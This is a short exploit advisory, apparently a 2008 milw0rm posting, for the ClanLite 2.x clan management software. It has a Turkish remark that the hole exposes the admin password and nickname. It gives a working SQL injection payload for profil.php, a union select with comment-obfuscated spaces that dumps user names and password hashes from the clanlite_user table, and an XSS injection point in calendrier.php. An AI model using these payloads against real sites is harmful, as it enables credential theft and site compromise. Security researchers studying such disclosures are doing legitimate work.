ClanLite 2.x (SQL Injection/XSS) Multiple Remote Vulnerabilities

yine kritik bir acık daha yine admin şifresine ve nickine ulaşmak mümkün.

ClanLite 2.x (SQL Injection/XSS) Multiple Remote Vulnerabilities

http://localhost/clanlite_path/service/profil.php?link=[SQL]

[SQL]=

ZoRLu'/**/union/**/select/**/null,null,mail,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(user,0x3a,psw),null,null,null/**/from/**/clanlite_user/*

[XSS]=

http://localhost/clanlite/service/calendrier.php?mois=6&annee=[XSS]

# milw0rm.com [2008-05-12]